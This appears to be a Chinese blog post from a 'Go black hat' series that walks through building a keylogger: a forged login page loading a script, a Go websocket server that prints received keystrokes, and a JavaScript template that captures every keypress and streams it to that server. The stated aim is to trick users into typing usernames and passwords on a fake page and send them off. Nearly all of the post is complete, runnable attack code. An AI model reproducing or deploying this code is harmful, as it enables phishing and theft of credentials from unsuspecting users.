Go黑帽子|键盘记录器

伪造一个网站页面,诱导用户输入用户名和密码,记录下按键并将其发送给服务器

伪造页面

在伪造页面中引入k.js

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>JS Bin</title>
</head>
<body>
  <script src='http://localhost:8080/k.js'> </script>
  <form action='login' method='post'>
    <input name='username'>
    <input name='password'>
    <input type="submit">
   </form>
</body>
</html>

Go键盘记录服务器

解析命令行参数

// 在main之前运行,用于解析命令行参数
func init() {
	flag.StringVar(&listenAddr, "listen-addr", "", "Listen address")
	flag.StringVar(&wsAddr, "ws-addr", "", "Websocket address")
	flag.Parse()
	var err error
	jsTemplate, err = template.ParseFiles("logger.js")
	if err != nil {
		panic(err)
	}
}

接收来自k.js的websocket消息

func serveWS(w http.ResponseWriter, r *http.Request) {
	conn, err := upgrader.Upgrade(w, r, nil) //升级http为websocket连接,该函数处理的任何请求都升级为websocket
	if err != nil {
		http.Error(w, "", 500)
		return
	}
	defer conn.Close()
	fmt.Printf("Connection from: %s\n", conn.RemoteAddr().String())
	for {
		_, msg, err := conn.ReadMessage()
		if err != nil {
			return
		}
		fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
	}
}

通过访问路由k.js,来运行logger.js

func serveFiles(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "application/javascript") //设置响应头
	err := jsTemplate.Execute(w, wsAddr)
	if err != nil {
		return
	} //向logger.js中写入wsAddr
}

设置路由

func main() {
	r := mux.NewRouter()
	r.HandleFunc("/ws", serveWS)
	r.HandleFunc("/k.js", serveFiles)
	log.Fatal(http.ListenAndServe(":8080", r))
}

完整代码

package main

import (
	"flag"
	"fmt"
	"html/template"
	"log"
	"net/http"
)
import (
	"github.com/gorilla/mux"
	"github.com/gorilla/websocket"
)

var (
	upgrader = websocket.Upgrader{
		CheckOrigin: func(r *http.Request) bool { return true }, //检查websocket允许接入的来源,此处允许接入任何来源
	}

	listenAddr string
	wsAddr     string
	jsTemplate *template.Template
)

// 在main之前运行,用于解析命令行参数
func init() {
	flag.StringVar(&listenAddr, "listen-addr", "", "Listen address")
	flag.StringVar(&wsAddr, "ws-addr", "", "Websocket address")
	flag.Parse()
	var err error
	jsTemplate, err = template.ParseFiles("logger.js")
	if err != nil {
		panic(err)
	}
}

func serveWS(w http.ResponseWriter, r *http.Request) {
	conn, err := upgrader.Upgrade(w, r, nil) //升级http为websocket连接,该函数处理的任何请求都升级为websocket
	if err != nil {
		http.Error(w, "", 500)
		return
	}
	defer conn.Close()
	fmt.Printf("Connection from: %s\n", conn.RemoteAddr().String())
	for {
		_, msg, err := conn.ReadMessage()
		if err != nil {
			return
		}
		fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
	}
}

func serveFiles(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "application/javascript") //设置响应头
	err := jsTemplate.Execute(w, wsAddr)
	if err != nil {
		return
	} //向logger.js中写入wsAddr
}

func main() {
	r := mux.NewRouter()
	r.HandleFunc("/ws", serveWS)
	r.HandleFunc("/k.js", serveFiles)
	log.Fatal(http.ListenAndServe(":8080", r))
}

logger.js模板

在js中通过keypress事件获取按键代码,并通过webSocket将消息发送给go服务器

(function() {
    var conn = new WebSocket("ws://{{.}}/ws");
    document.onkeypress = keypress;
    function keypress(evt) {
        s = String.fromCharCode(evt.which);
        conn.send(s);
    }
}) ();

运行结果

posted @ 2024-06-14 11:24  z5onk0  阅读(13)  评论(0编辑  收藏  举报